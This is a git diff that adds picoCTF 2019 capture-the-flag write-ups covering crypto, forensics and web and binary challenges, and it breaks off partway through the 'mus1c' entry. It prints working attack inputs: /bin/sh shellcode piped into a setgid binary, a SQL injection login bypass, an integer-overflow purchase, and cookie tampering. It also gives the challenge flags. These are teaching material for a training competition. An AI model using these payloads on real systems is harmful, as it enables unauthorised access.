corrupted chunk should be 0x10004 - (0x53 + 0x4 (length) + 0x4 (chunk type) + 0x4 (CRC)) = 0xffa5. We can then update mystery.hex to the contents below. + +``` +00000050: 5224 f000 00ff a549 4441 5478 5eec bd3f R$.....IDATx^..? +``` + +We can recreate the PNG file. + +``` +$xxd -r mystery.hex > mystery_v2 +``` + +We can now open the file and get the flag, `picoCTF{c0rrupt10n_1847995}`. diff --git a/writeups/picoCTF19/caeser.md b/writeups/picoCTF19/caeser.md new file mode 100644 index 0000000..b8bc91f --- /dev/null +++ b/writeups/picoCTF19/caeser.md @@ -0,0 +1,12 @@ +# PicoCTF 2019 - caeser +Author: PinkNoize + +Cryptography - 100 + +> Decrypt this message. You can find the ciphertext in /problems/caesar_5_d706b250ed3c6d2d2c72155de301a2f1 on the shell server. + +# Writeup + +The message provided is `picoCTF{dspttjohuifsvcjdpobqjtwtvk}`. As the name of this challenge is caeser, I am assuming that this flag is encrypted using the [caeser cipher](https://en.wikipedia.org/wiki/Caesar_cipher). The caeser cipher works by shifting each letter in the plaintext by some number forward. If it goes past the end of the alphabet it rotates back to the beginning. As there are only 25 possible keys we can try them all until we get a result that looks like language. + +After trying 'b' or 1 as the key we get, `picoCTF{crossingtherubiconapisvsuj}` diff --git a/writeups/picoCTF19/clientSideAgain.md b/writeups/picoCTF19/clientSideAgain.md new file mode 100644 index 0000000..cf72c3f --- /dev/null +++ b/writeups/picoCTF19/clientSideAgain.md @@ -0,0 +1,74 @@ +# PicoCTF 2019 - client-side-again +Author: PinkNoize + +Web Exploitation - 200 + +> Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/12278/ (link) or http://2019shell1.picoctf.com:12278 + +## TL;DR + +This challenge presents us with a login webpage. The flag is hardcoded in obfuscated javascript. + +# Writeup + +This webpage presents us with a login page. We can view the source to see how this login works. + +```html + + +Secure Login Portal V2.0 + + + + + + +
+
+

New and Improved Login

+ +

Enter valid credentials to proceed

+
+ +
+ +
+
+
+ + +``` + +There is some javascript that appears to contain parts of the flag. Perhaps this is obfuscated javascript. Let's plug this in a deobfuscator to check. I used https://lelinhtinh.github.io/de4js/. + +```javascript +function verify() { + checkpass = document.getElementById('pass').value; + split = 4; + if (checkpass.substring(0, split * 2) == 'picoCTF\{') { + if (checkpass.substring(7, 9) == '{n') { + if (checkpass.substring(split * 2, split * 2 * 2) == 'not_this') { + if (checkpass.substring(3, 6) == 'oCT') { + if (checkpass.substring(split * 3 * 2, split * 4 * 2) == '0a0d8\}') { + if (checkpass.substring(6, 11) == 'F{not') { + if (checkpass.substring(split * 2 * 2, split * 3 * 2) == '_again_4') { + if (checkpass.substring(12, 16) == 'this') { + alert('Password Verified'); + } + } + } + } + } + } + } + } else { + alert('Incorrect password'); + } +} +``` + +Now that we have deobfuscated the javascript we can see that it checks the password with a bunch substrings, we can map the indices and constants to recover the flag as in the previous challenges. + +The flag is `picoCTF{not_this_again_40a0d8}`. \ No newline at end of file diff --git a/writeups/picoCTF19/dontUseClientSide.md b/writeups/picoCTF19/dontUseClientSide.md new file mode 100644 index 0000000..1e17887 --- /dev/null +++ b/writeups/picoCTF19/dontUseClientSide.md @@ -0,0 +1,68 @@ +# PicoCTF 2019 - dont-use-client-side +Author: PinkNoize + +Web Exploitation - 100 + +> Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/12280/ (link) or http://2019shell1.picoctf.com:12280 + +## TL;DR + +This challenge presents a webpage with a login page. The flag is hardcoded in the verify function. + +# Writeup + +The challenge directs us to a webpage with a "secure login portal", as a start we should view the source of the page. + +```html + + +Secure Login Portal + + + + + + +
+
+

This is the secure login portal

+

Enter valid credentials to proceed

+
+ +
+ +
+
+
+ + +``` + +We can see a bit of javascript that checks the password. The code does a bunch of substring checks of size 4. We have to reorder the substrings according to the indices to recover the flag. The flag is `picoCTF{no_clients_plz_577431}`. \ No newline at end of file diff --git a/writeups/picoCTF19/extensions.md b/writeups/picoCTF19/extensions.md new file mode 100644 index 0000000..18eec21 --- /dev/null +++ b/writeups/picoCTF19/extensions.md @@ -0,0 +1,29 @@ +# PicoCTF 2019 - extensions +Author: PinkNoize + +Forensics - 150 + +> This is a really weird text file TXT? Can you find the flag? + +# Writeup + +This challenge provides us with a file called `flag.txt`. If we try to `cat` the file we get random garbage. + +```bash +$ cat flag.txt +�PNG +� +IHDR���^�sRGB���gAMA�� + �a pHYs +``` + +Near the top of the garbage, we see "PNG" this suggests that this may be a PNG file. We can check this with the `file` command. + +```bash +$ file flag.txt +flag.txt: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced +``` + +This confirms that this really is a PNG file and the .txt extension really has no effect on the actual file structure. We can rename the file to flag.png and view for the flag. + +The flag is `picoCTF{now_you_know_about_extensions}`. diff --git a/writeups/picoCTF19/flagShop.md b/writeups/picoCTF19/flagShop.md new file mode 100644 index 0000000..15cc3d8 --- /dev/null +++ b/writeups/picoCTF19/flagShop.md @@ -0,0 +1,172 @@ +# PicoCTF 2019 - flag_shop +Author: PinkNoize + +General Skills - 300 + +> There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc 2019shell1.picoctf.com 63894. + +## TL;DR + +This challenge provides a shop program. Overflow the price of an item to increase your balance and buy the flag. + +# Writeup + +This challenge provides us with a program that simulates a shop to buy flags. The source is provided and is below. + +```c +#include +#include +int main() +{ + setbuf(stdout, NULL); + int con; + con = 0; + int account_balance = 1100; + while(con == 0){ + + printf("Welcome to the flag exchange\n"); + printf("We sell flags\n"); + + printf("\n1. Check Account Balance\n"); + printf("\n2. Buy Flags\n"); + printf("\n3. Exit\n"); + int menu; + printf("\n Enter a menu selection\n"); + fflush(stdin); + scanf("%d", &menu); + if(menu == 1){ + printf("\n\n\n Balance: %d \n\n\n", account_balance); + } + else if(menu == 2){ + printf("Currently for sale\n"); + printf("1. Defintely not the flag Flag\n"); + printf("2. 1337 Flag\n"); + int auction_choice; + fflush(stdin); + scanf("%d", &auction_choice); + if(auction_choice == 1){ + printf("These knockoff Flags cost 900 each, enter desired quantity\n"); + + int number_flags = 0; + fflush(stdin); + scanf("%d", &number_flags); + if(number_flags > 0){ + int total_cost = 0; + total_cost = 900*number_flags; + printf("\nThe final cost is: %d\n", total_cost); + if(total_cost <= account_balance){ + account_balance = account_balance - total_cost; + printf("\nYour current balance after transaction: %d\n\n", account_balance); + } + else{ + printf("Not enough funds to complete purchase\n"); + } + } + } + else if(auction_choice == 2){ + printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n"); + printf("Enter 1 to buy one"); + int bid = 0; + fflush(stdin); + scanf("%d", &bid); + + if(bid == 1){ + + if(account_balance > 100000){ + FILE *f = fopen("flag.txt", "r"); + if(f == NULL){ + + printf("flag not found: please run this on the server\n"); + exit(0); + } + char buf[64]; + fgets(buf, 63, f); + printf("YOUR FLAG IS: %s\n", buf); + } + else{ + printf("\nNot enough funds for transaction\n\n\n"); + } + } + } + } + else{ + con = 1; + } + } + return 0; +} +``` + +This program prints the flag if we buy a 1337 flag, so our goal is to buy the 1337 flag. We can buy the flag if our account balance is greater than 100000. Unfortunately, our account balance starts at 1100 so we have to find a way to increase our balance. Upon further inspection, our only way to change the account balance is to subtract from it, `account_balance = account_balance - total_cost;`. + +The important thing to realize to solve this problem is that all the numbers in this program are of type int, which means they can be positive and negative. It also means that the ints are bounded to INT_MIN and INT_MAX because they use a fixed number of bits, usually 32 or 64. + +Another important thing is the behavior of ints when you go pass INT_MAX and INT_MIN. Adding two ints that result in a number greater than INT_MAX is known as an overflow and is undefined behavior. This happening on the INT_MIN side is an underflow. A majority of integers are represented using [two's complement](https://en.wikipedia.org/wiki/Two%27s_complement) as adding is an identical operation regardless if the numbers are positive or negative. + +So how does this apply to our challenge? Going back to the line, `account_balance = account_balance - total_cost;`, if we make total cost negative we can add to our account balance so we can buy the flag. If look further up we can see how we can control `total_cost`. + +```c +scanf("%d", &number_flags); + if(number_flags > 0){ + int total_cost = 0; + total_cost = 900*number_flags; +``` + +We can supply a number greater than 0 that is then multiplied by 900. As we can't supply a negative number, we have to provide a number that overflows when multiplied by 900. When the number overflows it should be negative allowing us to add an arbitrary number to our account balance. I chose to use 2^23 (8388608). We can provide this to the program as detailed below. + +``` +$ nc 2019shell1.picoctf.com 63894 +Welcome to the flag exchange +We sell flags + +1. Check Account Balance + +2. Buy Flags + +3. Exit + + Enter a menu selection +2 +Currently for sale +1. Defintely not the flag Flag +2. 1337 Flag +1 +These knockoff Flags cost 900 each, enter desired quantity +8388608 + +The final cost is: -1040187392 + +Your current balance after transaction: 1040188492 + +Welcome to the flag exchange +We sell flags + +1. Check Account Balance + +2. Buy Flags + +3. Exit + + Enter a menu selection +2 +Currently for sale +1. Defintely not the flag Flag +2. 1337 Flag +2 +1337 flags cost 100000 dollars, and we only have 1 in stock +Enter 1 to buy one1 +YOUR FLAG IS: picoCTF{m0n3y_bag5_818a7f84} +Welcome to the flag exchange +We sell flags + +1. Check Account Balance + +2. Buy Flags + +3. Exit + + Enter a menu selection +3 +``` + +This gives us the flag, `picoCTF{m0n3y_bag5_818a7f84}`. diff --git a/writeups/picoCTF19/flags.md b/writeups/picoCTF19/flags.md new file mode 100644 index 0000000..a406283 --- /dev/null +++ b/writeups/picoCTF19/flags.md @@ -0,0 +1,14 @@ +# PicoCTF 2019 - flags +Author: PinkNoize + +Cryptography - 200 + +> What do the flags mean? + +# Writeup + +This challenge provides us with the image below. + +![](assets/flags.png) + +From the pattern and the inclusion of the { and } characters, we can assume that each flag corresponds to a letter. This happens to be the [international maritime signal flags](https://en.wikipedia.org/wiki/International_maritime_signal_flags). If we decode the image we get the flag, `PICOCTF{F1AG5AND5TUFF}` \ No newline at end of file diff --git a/writeups/picoCTF19/gloryOfTheGarden.md b/writeups/picoCTF19/gloryOfTheGarden.md new file mode 100644 index 0000000..e2bbf95 --- /dev/null +++ b/writeups/picoCTF19/gloryOfTheGarden.md @@ -0,0 +1,27 @@ +# PicoCTF 2019 - Glory of the Garden +Author: PinkNoize + +Glory of the Garden - 50 + +> This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_3_346e50df4a37bcc4aa5f6e5831604e2a on the shell server. + +# Writeup + +Upon going to the specified directory we see a jpg file. + +![](assets/garden.jpg) + +There is nothing interesting in the image. If we run `strings garden.jpg`, which lists any strings in the file, we get the the flag. + +```bash +user@pico-2019-shell1:/problems/glory-of-the-garden_3_346e50df4a37bcc4aa5f6e5831604e2a$ strings garden.jpg +... +jc#k +=7g& +mjx/ +s\]|."Ue +\qZf +Here is a flag "picoCTF{more_than_m33ts_the_3y35a97d3bB}" +``` + +The flag is `picoCTF{more_than_m33ts_the_3y35a97d3bB}`. \ No newline at end of file diff --git a/writeups/picoCTF19/handyShellcode.md b/writeups/picoCTF19/handyShellcode.md new file mode 100644 index 0000000..bd0ce77 --- /dev/null +++ b/writeups/picoCTF19/handyShellcode.md @@ -0,0 +1,185 @@ +# picoCTF 2019 - handy-shellcode +Author: PinkNoize + +Binary Exploitation - 50 + +> This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5 on the shell server. + +## TL;DR + +This challenge consists of a program with SGID privileges that reads in shellcode from the user and executes it. This can be solved by providing shellcode that spawns a shell and reading `flag.txt`. + +# Writeup + +As the challenge description directs us to `/problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5` the first thing we should do is list that directory. + +```bash +user@pico-2019-shell1:~$ ls /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5 +flag.txt vuln vuln.c +``` +There is a file named `vuln`, `vuln.c` and `flag.txt`. Based off the naming scheme, `vuln` is probably a program and `vuln.c` is the source code for it. +As we are looking for flags we should first start by trying to read `flag.txt`. + +```bash +user@pico-2019-shell1:~$ cat /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/flag.txt +cat: /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/flag.txt: Permission denied +``` + +Uh oh ... Looks like we don't have access to `flag.txt`, let's check the permissions on everything. + +```bash +user@pico-2019-shell1:~$ ls -al /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5 +total 732 +drwxr-xr-x 2 root root 4096 Sep 28 2019 . +drwxr-x--x 684 root root 69632 Oct 10 2019 .. +-r--r----- 1 hacksports handy-shellcode_5 39 Sep 28 2019 flag.txt +-rwxr-sr-x 1 hacksports handy-shellcode_5 661832 Sep 28 2019 vuln +-rw-rw-r-- 1 hacksports hacksports 624 Sep 28 2019 vuln.c +``` + +If you are not familiar with UNIX file permissions, read [this](https://www.tutorialspoint.com/unix/unix-file-permission.htm). + +It appears that `flag.txt` is only readable by the user `hacksports` and the group `handy-shellcode_5`. Luckily for us, `vuln` has SGID (Set Group ID) set and anyone can execute it. SGID means that we when we execute `vuln` it will run with group permissions of `handy-shellcode_5` instead of our permissions. This means that if we can trick `vuln` into reading `flag.txt` and outputting it to us, we can get the flag. + +Let's learn more about `vuln`. +```bash +user@pico-2019-shell1:~$ file /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/vuln/problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/vuln: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7b65fbf1fba331b6b09a6812a338dbb1118e68e9, not stripped +``` + +From this we see that `vuln` is a 32-bit executable meaning that it is a compiled program. Let's run `vuln` and see what happens. + +```bash +user@pico-2019-shell1:~$ /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/vuln +Enter your shellcode: +Hello World! +Hello World! +Thanks! Executing now... +Segmentation fault (core dumped) +``` + +The program prompts for shellcode and lets the user enter something, in this case "Hello World!" It then prints whatever the user typed, says thanks and Segfaults. + +A segfault is caused when a program tries to access memory which it __does not__ have access to. + +Since `vuln.c` is most likely the source code for this program, we can read the code instead of trying to reverse engineer the program. + +```c +// vuln.c +#include +#include +#include +#include +#include + +#define BUFSIZE 148 +#define FLAGSIZE 128 + +void vuln(char *buf){ + gets(buf); + puts(buf); +} + +int main(int argc, char **argv){ + + setvbuf(stdout, NULL, _IONBF, 0); + + // Set the gid to the effective gid + // this prevents /bin/sh from dropping the privileges + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + char buf[BUFSIZE]; + + puts("Enter your shellcode:"); + vuln(buf); + + puts("Thanks! Executing now..."); + + ((void (*)())buf)(); + + + puts("Finishing Executing Shellcode. Exiting now..."); + + return 0; +} +``` + +Let's start understanding this program by skipping the first few lines in `main()`. + +```c + char buf[BUFSIZE]; + + puts("Enter your shellcode:"); + vuln(buf); + + puts("Thanks! Executing now..."); + + ((void (*)())buf)(); +``` + +This program starts by allocating a buffer of characters, `buf`, of size `BUFSIZE`, then calls `vuln` with buf as its argument, then calls the contents of buf as if it were a function (despite `buf` being an array of characters). + +```c +void vuln(char *buf){ + gets(buf); + puts(buf); +} +``` + +`vuln()` calls `gets()` which reads user input and places it in `buf`. It then prints the contents of buf with the call to `puts()`. + +__WARNING: `gets()` is a dangerous function to use as it will read as much input as the user supplies which could be more than the program has allocated for it. This will cause the program to be vulnerable to a buffer overflow.__ We will not be exploiting this for this challenge as we have a much easier solution. + +For more information on `gets` and `puts` type `man gets` and `man puts` in your shell. + +As we have control over the contents of `buf` and the program executes the "code" at `buf`, to solve this we can put code that reads `flag.txt` in `buf`. When the program runs it will execute our "code" in `buf` and read the flag to us. + +This seems simple enough, but we have to consider what form the "code" has to be in for it to work correctly. We cannot put C code in the buffer as C code doesn't run. C code is compiled to assembly which is then assembled to machine code and packaged nicely in an ELF or PE file (ELF is for *nix systems and PE is for Windows systems). We could write C code that reads `flag.txt`, compile it and extract the machine code from the final executable. This would be difficult as the code we extract would make some assumptions about where some variables should be. + +We could write the assembly to read the flag in a way that makes no assumptions about the program state before it runs and avoids bad characters such as 0x0A and 0x00 (these would cause `gets` to stop reading and our full payload wouldn't be used). This would work but it would be time consuming and we would have to modify it for other challenges that have different requirements. A general solution would be to write code that spawns a shell (command line prompt). We can then execute any commands we need to do after easily as we only have to type it. We could also reuse this code for other challenges without any modification. + +The greatest advantage from the shell spawning approach is that we don't even have to write it. Code that spawns a shell is known as "shellcode" and there are many versions online that you can copy/paste. My two favorite resources are [exploit-db](https://www.exploit-db.com/shellcodes) and [shell-storm](http://shell-storm.org/shellcode/). The shellcode that will be used in this writeup is [here](https://www.exploit-db.com/shellcodes/13670). + +Now that we have shellcode the last step is to deliver it to `vuln`. As the shellcode mostly consists of untypeable text, we will have to use other programs to send it for us. An easy command to use for this is the bash builtin `echo`. All `echo` does is print whatever you put as the argument to `echo`. For example, +```bash +$ echo "Hello World" +Hello World +``` +It can also print encoded characters, such as those in our shellcode + +```bash +user@pico-2019-shell1:~$ echo -e "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" +� + [1�1�1Ұ + ̀�����/bin/sh +``` + +So to deliver the shellcode to the program all we have to do is [pipe](https://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-4.html) the output of `echo` to `vuln`. + +```bash +user@pico-2019-shell1:~$ echo -e "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" +| /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/vuln +Enter your shellcode: +� + [1�1�1Ұ + ̀�����/bin/sh +Thanks! Executing now... +``` +NOTE: The above command is on one line + +Thr program no longer segfaults but it still doesn't let us read the flag. This is because the shell that we spawn sees that there is no more input and exits as `echo` finished printing everything we told it to. We can solve this by running `cat` after `echo` which lets us take over the input to the shell after `echo` has finished. + +```bash +user@pico-2019-shell1:~$ (echo -e "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";cat) | /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/vuln +Enter your shellcode: +� + [1�1�1Ұ + ̀�����/bin/sh +Thanks! Executing now... +id +uid=19100(user) gid=8874(handy-shellcode_5) groups=8874(handy-shellcode_5),1002(competitors),19101(user) +cat /problems/handy-shellcode_5_d1b3658f284f442eac06607b8ac4d1f5/flag.txt +picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487} +``` + +After the "Thanks! Executing now..." line, we have access to a shell and can type any commands we want. Upon running `id` we can see that our gid (group ID) is handy-shellcode_5 which means we have access to `flag.txt`. The last thing to do is to `cat` `flag.txt`. \ No newline at end of file diff --git a/writeups/picoCTF19/insp3ct0r.md b/writeups/picoCTF19/insp3ct0r.md new file mode 100644 index 0000000..cf81b2d --- /dev/null +++ b/writeups/picoCTF19/insp3ct0r.md @@ -0,0 +1,74 @@ +# PicoCTF 2019 - Insp3ct0r +Author: PinkNoize + +Web Exploitation - 50 + +> Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/11196/ (link) or http://2019shell1.picoctf.com:11196 + +## TL;DR + +This challenge consists of a website with the flag spread across multiple files of the website. View the source for the flag. + +# Writeup + +This challenge description directs us to a link saying the the code needs inspection. + +![](assets/insp3ct0rHomePage.png) + +As the page itself doesn't have anything interesting we can view the source of the page. + +```html + + + + My First Website :) + + + + + + +
+
+

Inspect Me

+
+ + + + +
+

What

+

I made a website

+
+ +
+

How

+

I used these to make this site:
+ HTML
+ CSS
+ JS (JavaScript) +

+ +
+ +
+ + + +``` + +As we can see in the comment, we have 1/3 of the flag, `picoCTF{tru3_d3`. + +In the html we can see two more files, `mycss.css` and `myjs.js`. + +When we view these files, we find two comments + +```css +/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */ +``` + +```js +/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?9df7e69a} */ +``` + +Using these 3 parts we can make the flag, `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?9df7e69a}`. \ No newline at end of file diff --git a/writeups/picoCTF19/irishNameRepo1.md b/writeups/picoCTF19/irishNameRepo1.md new file mode 100644 index 0000000..9111330 --- /dev/null +++ b/writeups/picoCTF19/irishNameRepo1.md @@ -0,0 +1,30 @@ +# PicoCTF 2019 - Irish-Name-Repo 1 +Author: PinkNoize + +Web Exploitation - 300 + +> There is a website running at https://2019shell1.picoctf.com/problem/4162/ (link) or http://2019shell1.picoctf.com:4162. Do you think you can log us in? Try to see if you can login! + +## TL;DR + +This challenge provides a website with an admin panel. SQLi the admin panel for the flag. + +# Writeup + +Upon loading the supplied webpage, we see a "List 'o the Irish!" We can click the 'hamburger bars' in the top left to find an admin login page. As this is an admin login page, we should try logging as user `admin`. You can guess passwords but it probably won't work. + +Typically, users credentials (hopefully some kind of hash) are stored in databases. One class of databases are SQL databases. If the users are stored in a SQL database, checking if the password is correct will require a query to the database. If this query is not done securely it could be vulnerable to code injection. This is known as [SQL Injection (SQLi)](https://owasp.org/www-community/attacks/SQL_Injection). + +If we consider the query that checks the login, it would be something like... + +```sql +SELECT * FROM users where user = '' and pass = ''; +``` + +To exploit this we could inject code that is always true. For example, let user = `admin` and pass = `' or '1'='1`. When this is added to the query it would look like... + +```sql +SELECT * FROM users where user = 'admin' and pass = '' or '1'='1'; +``` + +As `'1' = '1'` is always true, this bypasses the password check. We can do this on the admin login to get the flag, `picoCTF{s0m3_SQL_96ab211c}`. \ No newline at end of file diff --git a/writeups/picoCTF19/laCifraDe.md b/writeups/picoCTF19/laCifraDe.md new file mode 100644 index 0000000..fcf7325 --- /dev/null +++ b/writeups/picoCTF19/laCifraDe.md @@ -0,0 +1,31 @@ +# PicoCTF 2019 - la cifra de +Author: PinkNoize + +Cryptography - 200 + +> I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 12254. + +# Writeup + +This challenge provides us with a netcat command which when we run we get the text below. + +``` +Encrypted message: +Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk + +Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd + +Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo + +Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xf653pdkh} + +Ehk ktryy herq-ooizxetypd jjdcxnatoty ol f aordllvmlbkytc inahkw socjgex, bls sfoe gwzuti 1467 my Rjzn Hfetoxea Gqmexyt. + +Tnj Gimjyèrk Htpnjc iy ysexjqoxj dosjeisjd cgqwej yse Gqmexyt Doxn ox Fwbkwei Inahkw. + +Tn 1508, Ptsatsps Zwttnjxiax tnbjytki ehk xz-cgqwej ylbaql rkhea (g rltxni ol xsilypd gqahggpty) ysaz bzuri wazjc bk f nroytcgq nosuznkse ol yse Bnretèwp Cousex. + +Gplrfdo’y xpcuso butvlky lpvjlrki tn 1555 gx l cuseitzltoty ol yse lncsz. Yse rthex mllbjd ol yse gqahggpty fce tth snnqtki cemzwaxqj, bay ehk fwpnfmezx lnj yse osoed qptzjcs gwp mocpd hd xegsd ol f xnkrznoh vee usrgxp, wnnnh ify bk itfljcety hizm paim noxwpsvtydkse. +``` + +I figured this was some type of classical cipher so I started plugging the text into various classical cipher solvers. The solver that gave me readable text was a [vigenere solver](https://www.guballa.de/vigenere-solver). The ciphertext was encrypted with the key "flag". The flag is `picoCTF{b311a50_0r_v1gn3r3_c1ph3ra653edec}`. \ No newline at end of file diff --git a/writeups/picoCTF19/like1000.md b/writeups/picoCTF19/like1000.md new file mode 100644 index 0000000..51b95e7 --- /dev/null +++ b/writeups/picoCTF19/like1000.md @@ -0,0 +1,35 @@ +# PicoCTF 2019 - like1000 +Author: PinkNoize + +Forensics - 250 + +> This [.tar file](https://2019shell1.picoctf.com/static/8694f84879d3b7c0dcf775930f4665fc/1000.tar) got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c. + +# Writeup + +This challenge provides us with a tar file called `1000.tar`. If we try extracting this we get 2 files, `999.tar` and `filler.txt`. This suggests that there are many tar files within this tar file along with other junk files. We can write a script to extract all the nested tar files. + +```bash +#!/bin/bash + +# Make a directory to extract everything to +mkdir like1000 +# Copy the first tar file to the directory +cp 1000.tar like1000/ + +# count the number of tar files in like1000 +tar_exists=`ls -1 like1000/*.tar 2>/dev/null | wc -l` +while [ $tar_exists != 0 ]; do + # For each tar file + for f in like1000/*.tar; do + # Extract the tar file + tar xf "$f" --directory like1000 + # Delete the tar file + rm "$f" + done + # count the number of tar files in like1000 + tar_exists=`ls -1 like1000/*.tar 2>/dev/null | wc -l` +done +``` + +After running this script there should be a file called `flag.png` with the flag, `picoCTF{l0t5_0f_TAR5}`. \ No newline at end of file diff --git a/writeups/picoCTF19/logon.md b/writeups/picoCTF19/logon.md new file mode 100644 index 0000000..9368644 --- /dev/null +++ b/writeups/picoCTF19/logon.md @@ -0,0 +1,34 @@ +# PicoCTF 2019 - logon +Author: PinkNoize + +Web Exploitation - 100 + +> The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/37907/ (link) or http://2019shell1.picoctf.com:37907 + +## TL;DR + +The challenge presents us with a login webpage. The flag is protected behind a boolean cookie. Change the value to true to get the flag. + +# Writeup + +The webpage presented to us contains a login page. + +![](assets/logonHomePage.png) + +The description asks us to login as "logon" so we try to login with no password. + +![](assets/logonSuccessLoginNoAdmin.png) + +We were able to login, so the password might not matter. Let's view the requests to login using the network tab (Ctrl+Shift+E in Firefox). + +![](assets/logonSuccessLoginNetwork.png) + +In the second post request we see that we have cookies containing an admin attribute, a username attribute and a password attribute. Perhaps setting the admin attribute to `True` will allow us to get the flag. + +We can set the cookie in Firefox by going to the storage tab (Shift+F9) and double clicking on the 'Value' part of the admin cookie. + +![](assets/logonCookieEdit.png) + +We can then refresh the page so that the browser can get the response using the new cookie. We are then presented with the flag. + +![](assets/logonFlag.png) \ No newline at end of file diff --git a/writeups/picoCTF19/miniRSA.md b/writeups/picoCTF19/miniRSA.md new file mode 100644 index 0000000..daa37db --- /dev/null +++ b/writeups/picoCTF19/miniRSA.md @@ -0,0 +1,46 @@ +# PicoCTF 2019 - miniRSA +Author: PinkNoize + +Cryptography - 300 + +> Lets decrypt this: ciphertext? Something seems a bit small + +# Writeup + +The contents of the file supplied is + +``` +N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673 +e: 3 + +ciphertext (c): 2205316413931134031074603746928247799030155221252519872649604243394069216326314270624430181767863085854215545736160599718939066687544261205735290002239045830806570632200667142910415788763317978137702614731825117431700919216297401306846053 +``` + +In the [attacks section of the RSA wikipedia page in the hints section](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Attacks_against_plain_RSA), the first bullet point listed is "When encrypting with low encryption exponents (e.g., e = 3) and small values of the m, (i.e., m < n^1/e) the result of me is strictly less than the modulus n. In this case, ciphertexts can be easily decrypted by taking the eth root of the ciphertext over the integers." + +We can try this in python as shown below. + +```python +>>> m = int(pow(c, 1/e)) +>>> int.to_bytes(m, 40, 'big') +b'\x00\x00\x00\x00\x00\x00\x00picoCS\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +``` + +As 'picoC' is in the result, we know our approach is the right one but we are losing precision by using pow as pow in python uses floats which is limited in size. We will need an implementation of pow or root that can deal with very large numbers. [Gmpy](https://pypi.org/project/gmpy/) has an implementation that will work for us. + +```python +>>> import gmpy +>>> c = 2205316413931134031074603746928247799030155221252519872649604243394069216326314270624430181767863085854215545736160599718939066687544261205735290002239045830806570632200667142910415788763317978137702614731825117431700919216297401306846053 +>>> c = gmpy.mpz(c) +>>> c.root(3) +(mpz(13016382529449106065894479374027604750406953699090365388202785764091466430362237), 1) +>>> c.root(3)[0] +mpz(13016382529449106065894479374027604750406953699090365388202785764091466430362237) +>>> m = int(c.root(3)[0]) +>>> m +13016382529449106065894479374027604750406953699090365388202785764091466430362237 +>>> int.to_bytes(m, 40 , 'big') +b'\x00\x00\x00\x00\x00\x00\x00picoCTF{n33d_a_lArg3r_e_1dcea0a2}' +``` + +The flag is `picoCTF{n33d_a_lArg3r_e_1dcea0a2}`. diff --git a/writeups/picoCTF19/mus1c.md b/writeups/picoCTF19/mus1c.md new file mode 100644 index 0000000..e44b5ef --- /dev/null +++ b/writeups/picoCTF19/mus1c.md @@ -0,0 +1,70 @@ +# PicoCTF 2019 - mus1c +Author: PinkNoize + +General Skills - 300 + +> I wrote you a song. Put it in the picoCTF{} flag format + +# Writeup + +This challenge provides us with the text file below. + +``` +Pico's a CTFFFFFFF +my mind is waitin +It's waitin + +Put my mind of Pico into This +my flag is not found +put This into my flag +put my 